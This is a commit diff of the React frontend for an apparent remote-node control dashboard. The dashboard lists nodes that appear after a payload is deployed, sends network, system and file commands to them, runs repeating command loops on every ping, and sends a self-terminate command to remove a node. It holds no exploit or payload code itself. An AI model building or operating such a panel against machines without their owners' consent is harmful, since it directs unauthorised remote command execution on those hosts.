Spaces:
Sleeping
Sleeping
Update src/App.tsx
Browse files- src/App.tsx +109 -31
src/App.tsx
CHANGED
|
@@ -129,6 +129,7 @@ function Card({ title, children, icon }: { title: string, children: React.ReactN
|
|
| 129 |
|
| 130 |
function DashboardTab() {
|
| 131 |
const [data, setData] = useState({ nodes: [], reports: [] });
|
|
|
|
| 132 |
|
| 133 |
useEffect(() => {
|
| 134 |
const fetchStatus = async () => {
|
|
@@ -145,12 +146,29 @@ function DashboardTab() {
|
|
| 145 |
return () => clearInterval(iv);
|
| 146 |
}, []);
|
| 147 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 148 |
return (
|
| 149 |
<div className="flex flex-col gap-6">
|
| 150 |
<div className="grid grid-cols-1 md:grid-cols-3 gap-4">
|
| 151 |
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
|
| 152 |
<span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
|
| 153 |
-
<span className="text-3xl font-bold text-white font-mono">{data.nodes.length}</span>
|
| 154 |
</div>
|
| 155 |
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
|
| 156 |
<span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
|
|
@@ -166,10 +184,21 @@ function DashboardTab() {
|
|
| 166 |
</div>
|
| 167 |
|
| 168 |
<Card title="Connected Nodes" icon={<Server size={18} />}>
|
| 169 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 170 |
<div className="text-center py-10 text-slate-400">
|
| 171 |
<Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
|
| 172 |
-
<p>No
|
| 173 |
<p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
|
| 174 |
</div>
|
| 175 |
) : (
|
|
@@ -180,12 +209,16 @@ function DashboardTab() {
|
|
| 180 |
<th className="font-medium px-2">Node ID</th>
|
| 181 |
<th className="font-medium">Environment</th>
|
| 182 |
<th className="font-medium">IP Addr</th>
|
|
|
|
| 183 |
<th className="font-medium">Last Ping</th>
|
| 184 |
<th className="font-medium">Status</th>
|
|
|
|
| 185 |
</tr>
|
| 186 |
</thead>
|
| 187 |
<tbody className="divide-y divide-white/5 text-slate-300">
|
| 188 |
-
{
|
|
|
|
|
|
|
| 189 |
<tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
|
| 190 |
<td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
|
| 191 |
<td className="py-3">
|
|
@@ -194,16 +227,25 @@ function DashboardTab() {
|
|
| 194 |
</span>
|
| 195 |
</td>
|
| 196 |
<td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
|
|
|
|
|
|
|
|
|
|
| 197 |
<td className="py-3 text-slate-400">
|
| 198 |
{Math.round((Date.now() - node.lastSeen) / 1000)}s ago
|
| 199 |
</td>
|
| 200 |
<td className="py-3">
|
| 201 |
-
<div className=
|
| 202 |
-
<div className=
|
| 203 |
</div>
|
| 204 |
</td>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 205 |
</tr>
|
| 206 |
-
|
|
|
|
| 207 |
</tbody>
|
| 208 |
</table>
|
| 209 |
</div>
|
|
@@ -529,6 +571,8 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 529 |
const [status, setStatus] = useState('');
|
| 530 |
const [nodes, setNodes] = useState<any[]>([]);
|
| 531 |
const [reports, setReports] = useState<any[]>([]);
|
|
|
|
|
|
|
| 532 |
|
| 533 |
useEffect(() => {
|
| 534 |
const fetchStatus = async () => {
|
|
@@ -538,6 +582,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 538 |
setNodes(json.nodes || []);
|
| 539 |
// Get just the reports that are commands
|
| 540 |
setReports((json.reports || []).slice(0, 15));
|
|
|
|
| 541 |
} catch (err) {}
|
| 542 |
};
|
| 543 |
fetchStatus();
|
|
@@ -574,7 +619,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 574 |
await fetch('/api/commands', {
|
| 575 |
method: 'POST',
|
| 576 |
headers: { 'Content-Type': 'application/json' },
|
| 577 |
-
body: JSON.stringify({ target: targetNode, type: command, payload })
|
| 578 |
});
|
| 579 |
setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
|
| 580 |
setTimeout(() => setStatus(''), 3000);
|
|
@@ -583,6 +628,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 583 |
}
|
| 584 |
};
|
| 585 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 586 |
return (
|
| 587 |
<div className="flex flex-col gap-6">
|
| 588 |
<div className="mb-2">
|
|
@@ -778,39 +828,67 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 778 |
</div>
|
| 779 |
)}
|
| 780 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 781 |
<button
|
| 782 |
onClick={issueCommand}
|
| 783 |
-
className=
|
| 784 |
>
|
| 785 |
-
<Terminal size={18} /> Execute Operation
|
| 786 |
</button>
|
| 787 |
{status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
|
| 788 |
</div>
|
| 789 |
</Card>
|
| 790 |
|
| 791 |
-
<
|
| 792 |
-
|
| 793 |
-
|
| 794 |
-
<
|
| 795 |
-
|
| 796 |
-
|
| 797 |
-
|
| 798 |
-
|
| 799 |
-
|
| 800 |
-
|
| 801 |
-
<div className="
|
| 802 |
-
<
|
| 803 |
-
|
| 804 |
-
|
| 805 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 806 |
</div>
|
| 807 |
-
|
| 808 |
-
|
| 809 |
-
|
| 810 |
-
|
| 811 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 812 |
)}
|
| 813 |
-
</
|
| 814 |
</div>
|
| 815 |
</div>
|
| 816 |
);
|
|
|
|
| 129 |
|
| 130 |
function DashboardTab() {
|
| 131 |
const [data, setData] = useState({ nodes: [], reports: [] });
|
| 132 |
+
const [filter, setFilter] = useState('all');
|
| 133 |
|
| 134 |
useEffect(() => {
|
| 135 |
const fetchStatus = async () => {
|
|
|
|
| 146 |
return () => clearInterval(iv);
|
| 147 |
}, []);
|
| 148 |
|
| 149 |
+
const removeNode = async (id: string) => {
|
| 150 |
+
await fetch('/api/commands', {
|
| 151 |
+
method: 'POST',
|
| 152 |
+
headers: { 'Content-Type': 'application/json' },
|
| 153 |
+
body: JSON.stringify({ target: id, type: 'self_terminate', payload: {}, repeat: false })
|
| 154 |
+
});
|
| 155 |
+
await fetch(`/api/nodes/${id}`, { method: 'DELETE' });
|
| 156 |
+
setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
|
| 157 |
+
};
|
| 158 |
+
|
| 159 |
+
const filteredNodes = data.nodes.filter((n: any) => {
|
| 160 |
+
const isActive = Date.now() - n.lastSeen < 20000;
|
| 161 |
+
if (filter === 'active') return isActive;
|
| 162 |
+
if (filter === 'inactive') return !isActive;
|
| 163 |
+
return true;
|
| 164 |
+
});
|
| 165 |
+
|
| 166 |
return (
|
| 167 |
<div className="flex flex-col gap-6">
|
| 168 |
<div className="grid grid-cols-1 md:grid-cols-3 gap-4">
|
| 169 |
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
|
| 170 |
<span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
|
| 171 |
+
<span className="text-3xl font-bold text-white font-mono">{data.nodes.filter((n: any) => Date.now() - n.lastSeen < 20000).length}</span>
|
| 172 |
</div>
|
| 173 |
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
|
| 174 |
<span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
|
|
|
|
| 184 |
</div>
|
| 185 |
|
| 186 |
<Card title="Connected Nodes" icon={<Server size={18} />}>
|
| 187 |
+
<div className="flex gap-4 mb-4 items-center px-2">
|
| 188 |
+
<label className="text-sm font-medium text-slate-400">Filter:</label>
|
| 189 |
+
<select
|
| 190 |
+
className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500"
|
| 191 |
+
value={filter} onChange={e => setFilter(e.target.value)}
|
| 192 |
+
>
|
| 193 |
+
<option value="all">All Nodes</option>
|
| 194 |
+
<option value="active">Active ({'<'} 20s skip)</option>
|
| 195 |
+
<option value="inactive">Inactive</option>
|
| 196 |
+
</select>
|
| 197 |
+
</div>
|
| 198 |
+
{filteredNodes.length === 0 ? (
|
| 199 |
<div className="text-center py-10 text-slate-400">
|
| 200 |
<Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
|
| 201 |
+
<p>No nodes found for this filter.</p>
|
| 202 |
<p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
|
| 203 |
</div>
|
| 204 |
) : (
|
|
|
|
| 209 |
<th className="font-medium px-2">Node ID</th>
|
| 210 |
<th className="font-medium">Environment</th>
|
| 211 |
<th className="font-medium">IP Addr</th>
|
| 212 |
+
<th className="font-medium">OS Info</th>
|
| 213 |
<th className="font-medium">Last Ping</th>
|
| 214 |
<th className="font-medium">Status</th>
|
| 215 |
+
<th className="font-medium text-right pr-2">Action</th>
|
| 216 |
</tr>
|
| 217 |
</thead>
|
| 218 |
<tbody className="divide-y divide-white/5 text-slate-300">
|
| 219 |
+
{filteredNodes.map((node: any) => {
|
| 220 |
+
const isActive = Date.now() - node.lastSeen < 20000;
|
| 221 |
+
return (
|
| 222 |
<tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
|
| 223 |
<td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
|
| 224 |
<td className="py-3">
|
|
|
|
| 227 |
</span>
|
| 228 |
</td>
|
| 229 |
<td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
|
| 230 |
+
<td className="py-3 text-slate-400 text-xs max-w-[120px] truncate" title={node.systemInfo?.os || ''}>
|
| 231 |
+
{node.systemInfo?.os || node.systemInfo?.release || '-'}
|
| 232 |
+
</td>
|
| 233 |
<td className="py-3 text-slate-400">
|
| 234 |
{Math.round((Date.now() - node.lastSeen) / 1000)}s ago
|
| 235 |
</td>
|
| 236 |
<td className="py-3">
|
| 237 |
+
<div className={`flex items-center gap-1.5 ${isActive ? 'text-emerald-400' : 'text-slate-400'}`}>
|
| 238 |
+
<div className={`w-1.5 h-1.5 rounded-full shadow-md ${isActive ? 'bg-emerald-500 shadow-emerald-500/50' : 'bg-slate-500'}`}></div> {isActive ? 'Online' : 'Offline'}
|
| 239 |
</div>
|
| 240 |
</td>
|
| 241 |
+
<td className="py-3 text-right pr-2">
|
| 242 |
+
<button onClick={() => removeNode(node.id)} className="text-xs text-red-400 border border-red-500/30 px-2 py-1 rounded bg-red-400/10 hover:bg-red-400/20 transition-colors">
|
| 243 |
+
Remove
|
| 244 |
+
</button>
|
| 245 |
+
</td>
|
| 246 |
</tr>
|
| 247 |
+
);
|
| 248 |
+
})}
|
| 249 |
</tbody>
|
| 250 |
</table>
|
| 251 |
</div>
|
|
|
|
| 571 |
const [status, setStatus] = useState('');
|
| 572 |
const [nodes, setNodes] = useState<any[]>([]);
|
| 573 |
const [reports, setReports] = useState<any[]>([]);
|
| 574 |
+
const [activeCommands, setActiveCommands] = useState<any[]>([]);
|
| 575 |
+
const [repeat, setRepeat] = useState(false);
|
| 576 |
|
| 577 |
useEffect(() => {
|
| 578 |
const fetchStatus = async () => {
|
|
|
|
| 582 |
setNodes(json.nodes || []);
|
| 583 |
// Get just the reports that are commands
|
| 584 |
setReports((json.reports || []).slice(0, 15));
|
| 585 |
+
setActiveCommands(json.activeCommands || []);
|
| 586 |
} catch (err) {}
|
| 587 |
};
|
| 588 |
fetchStatus();
|
|
|
|
| 619 |
await fetch('/api/commands', {
|
| 620 |
method: 'POST',
|
| 621 |
headers: { 'Content-Type': 'application/json' },
|
| 622 |
+
body: JSON.stringify({ target: targetNode, type: command, payload, repeat })
|
| 623 |
});
|
| 624 |
setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
|
| 625 |
setTimeout(() => setStatus(''), 3000);
|
|
|
|
| 628 |
}
|
| 629 |
};
|
| 630 |
|
| 631 |
+
const stopLoop = async (id: string) => {
|
| 632 |
+
await fetch(`/api/commands/${id}`, { method: 'DELETE' });
|
| 633 |
+
setActiveCommands(prev => prev.filter(c => c.id !== id));
|
| 634 |
+
};
|
| 635 |
+
|
| 636 |
return (
|
| 637 |
<div className="flex flex-col gap-6">
|
| 638 |
<div className="mb-2">
|
|
|
|
| 828 |
</div>
|
| 829 |
)}
|
| 830 |
|
| 831 |
+
<div className="flex items-center gap-2 mt-2 px-1">
|
| 832 |
+
<input type="checkbox" id="repeatMode" checked={repeat} onChange={e => setRepeat(e.target.checked)} className="rounded bg-black/20 border-white/10 text-indigo-500 focus:ring-indigo-500" />
|
| 833 |
+
<label htmlFor="repeatMode" className="text-sm text-slate-300 cursor-pointer">Repeat continuously (node will execute on every ping)</label>
|
| 834 |
+
</div>
|
| 835 |
+
|
| 836 |
<button
|
| 837 |
onClick={issueCommand}
|
| 838 |
+
className={`mt-2 px-6 py-3 ${repeat ? 'bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30' : 'bg-red-500 hover:bg-red-400 shadow-red-500/30'} text-white rounded-xl font-medium shadow-lg transition-all flex items-center justify-center gap-2`}
|
| 839 |
>
|
| 840 |
+
<Terminal size={18} /> {repeat ? 'Start Background Loop' : 'Execute Operation'}
|
| 841 |
</button>
|
| 842 |
{status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
|
| 843 |
</div>
|
| 844 |
</Card>
|
| 845 |
|
| 846 |
+
<div className="flex flex-col gap-6">
|
| 847 |
+
<Card title="Latest Execution Reports" icon={<Activity size={18} />}>
|
| 848 |
+
{reports.length === 0 ? (
|
| 849 |
+
<div className="text-center py-10 text-slate-400 text-sm">
|
| 850 |
+
<Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
|
| 851 |
+
Waiting for node reports...
|
| 852 |
+
</div>
|
| 853 |
+
) : (
|
| 854 |
+
<div className="flex flex-col gap-3 max-h-[350px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
|
| 855 |
+
{reports.map((report, idx) => (
|
| 856 |
+
<div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
|
| 857 |
+
<div className="flex justify-between items-start mb-1.5">
|
| 858 |
+
<span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
|
| 859 |
+
<span className="text-slate-500 text-xs">
|
| 860 |
+
{new Date(report.timestamp).toLocaleTimeString()}
|
| 861 |
+
</span>
|
| 862 |
+
</div>
|
| 863 |
+
<div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
|
| 864 |
+
<ReportResultViewer report={report} />
|
| 865 |
</div>
|
| 866 |
+
))}
|
| 867 |
+
</div>
|
| 868 |
+
)}
|
| 869 |
+
</Card>
|
| 870 |
+
|
| 871 |
+
{activeCommands.length > 0 && (
|
| 872 |
+
<Card title="Active Command Loops" icon={<Activity size={18} />}>
|
| 873 |
+
<div className="flex flex-col gap-3 max-h-[250px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
|
| 874 |
+
{activeCommands.map(cmd => (
|
| 875 |
+
<div key={cmd.id} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm flex items-center justify-between">
|
| 876 |
+
<div>
|
| 877 |
+
<div className="text-white font-medium text-sm flex items-center gap-2">
|
| 878 |
+
<div className="w-2 h-2 rounded-full bg-indigo-500 animate-pulse"></div>
|
| 879 |
+
{cmd.type}
|
| 880 |
+
</div>
|
| 881 |
+
<div className="text-slate-400 text-xs mt-1">Target: <span className="font-mono">{cmd.target}</span></div>
|
| 882 |
+
</div>
|
| 883 |
+
<button onClick={() => stopLoop(cmd.id)} className="text-xs text-red-400 border border-red-500/30 px-3 py-1.5 rounded-lg bg-red-400/10 hover:bg-red-400/20 transition-colors">
|
| 884 |
+
Stop Loop
|
| 885 |
+
</button>
|
| 886 |
+
</div>
|
| 887 |
+
))}
|
| 888 |
+
</div>
|
| 889 |
+
</Card>
|
| 890 |
)}
|
| 891 |
+
</div>
|
| 892 |
</div>
|
| 893 |
</div>
|
| 894 |
);
|